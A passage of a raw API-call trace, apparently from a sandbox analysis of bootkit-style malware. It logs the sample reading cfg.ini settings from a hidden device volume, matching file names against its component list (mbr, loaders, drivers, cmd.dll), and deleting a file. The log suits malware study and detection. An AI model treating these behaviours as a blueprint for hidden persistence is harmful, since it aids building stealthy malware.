FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.394] KeLeaveCriticalRegion () [0123.394] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.394] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.394] KeEnterCriticalRegion () [0123.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.394] ExFreePoolWithTag (P=0xfffffa8003bbee10, Tag=0x0) [0123.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.394] KeLeaveCriticalRegion () [0123.394] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.394] ReleaseMutex (hMutex=0xf0) returned 1 [0123.394] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.394] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.394] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.394] KeEnterCriticalRegion () [0123.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.394] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.394] IdePortDispatch () returned 0x103 [0123.394] KeWaitForMutexObject () returned 0x0 [0123.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.394] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.394] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.394] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.394] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.394] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb890 [0123.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.394] KeLeaveCriticalRegion () [0123.394] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.394] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.394] KeEnterCriticalRegion () [0123.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.394] KeLeaveCriticalRegion () [0123.395] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.395] KeEnterCriticalRegion () [0123.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.395] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.395] IdePortDispatch () returned 0x103 [0123.395] KeWaitForMutexObject () returned 0x0 [0123.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.395] KeLeaveCriticalRegion () [0123.395] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.395] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.395] KeEnterCriticalRegion () [0123.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.395] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349e000 [0123.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.395] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.395] IdePortDispatch () returned 0x103 [0123.395] KeWaitForMutexObject () returned 0x0 [0123.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.395] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.395] IdePortDispatch () returned 0x103 [0123.396] KeWaitForMutexObject () returned 0x0 [0123.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.396] KeLeaveCriticalRegion () [0123.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.396] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.396] KeEnterCriticalRegion () [0123.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.396] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.396] KeLeaveCriticalRegion () [0123.396] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.396] KeEnterCriticalRegion () [0123.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.396] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.396] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.396] KeLeaveCriticalRegion () [0123.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.396] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.396] KeEnterCriticalRegion () [0123.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.396] ExFreePoolWithTag (P=0xfffffa8003beb890, Tag=0x0) [0123.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.396] KeLeaveCriticalRegion () [0123.397] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.397] ReleaseMutex (hMutex=0xf0) returned 1 [0123.397] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.397] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.397] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.397] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.397] KeEnterCriticalRegion () [0123.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.397] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.397] IdePortDispatch () returned 0x103 [0123.397] KeWaitForMutexObject () returned 0x0 [0123.397] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.397] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.397] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.397] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.397] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.397] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.397] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.397] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.397] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.397] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.397] KeLeaveCriticalRegion () [0123.397] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.397] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.397] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.397] KeEnterCriticalRegion () [0123.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.398] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.398] IdePortDispatch () returned 0x103 [0123.398] KeWaitForMutexObject () returned 0x0 [0123.398] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.398] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.398] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.398] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.398] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.398] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.398] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.398] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.398] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.398] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.398] KeLeaveCriticalRegion () [0123.398] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.398] ReleaseMutex (hMutex=0x100) returned 1 [0123.398] Sleep (dwMilliseconds=0x2bf20) [0123.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cc13570, dwHighDateTime=0x1d24fa4)) [0123.404] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.404] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.404] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.404] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.404] KeEnterCriticalRegion () [0123.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.405] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.405] IdePortDispatch () returned 0x103 [0123.405] KeWaitForMutexObject () returned 0x0 [0123.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.405] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.405] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.405] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.405] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.405] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb890 [0123.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.405] KeLeaveCriticalRegion () [0123.405] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.405] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.405] KeEnterCriticalRegion () [0123.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.405] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.405] KeLeaveCriticalRegion () [0123.405] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.405] KeEnterCriticalRegion () [0123.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.405] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.405] IdePortDispatch () returned 0x103 [0123.405] KeWaitForMutexObject () returned 0x0 [0123.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.405] KeLeaveCriticalRegion () [0123.405] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.406] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.406] KeEnterCriticalRegion () [0123.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a1000 [0123.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.406] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.406] IdePortDispatch () returned 0x103 [0123.406] KeWaitForMutexObject () returned 0x0 [0123.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.406] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.406] IdePortDispatch () returned 0x103 [0123.406] KeWaitForMutexObject () returned 0x0 [0123.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.406] KeLeaveCriticalRegion () [0123.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.407] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.407] KeEnterCriticalRegion () [0123.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.407] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.407] KeLeaveCriticalRegion () [0123.407] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.407] KeEnterCriticalRegion () [0123.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.407] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.407] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.407] KeLeaveCriticalRegion () [0123.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.407] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.407] KeEnterCriticalRegion () [0123.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.407] ExFreePoolWithTag (P=0xfffffa8003beb890, Tag=0x0) [0123.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.407] KeLeaveCriticalRegion () [0123.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.407] ReleaseMutex (hMutex=0xf0) returned 1 [0123.407] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.407] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.407] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.407] KeEnterCriticalRegion () [0123.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.407] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.407] IdePortDispatch () returned 0x103 [0123.407] KeWaitForMutexObject () returned 0x0 [0123.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.408] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.408] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.408] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.408] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.408] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebcf0 [0123.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.408] KeLeaveCriticalRegion () [0123.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.408] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.408] KeEnterCriticalRegion () [0123.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.408] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.408] KeLeaveCriticalRegion () [0123.408] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.408] KeEnterCriticalRegion () [0123.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.408] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.408] IdePortDispatch () returned 0x103 [0123.408] KeWaitForMutexObject () returned 0x0 [0123.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.408] KeLeaveCriticalRegion () [0123.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, 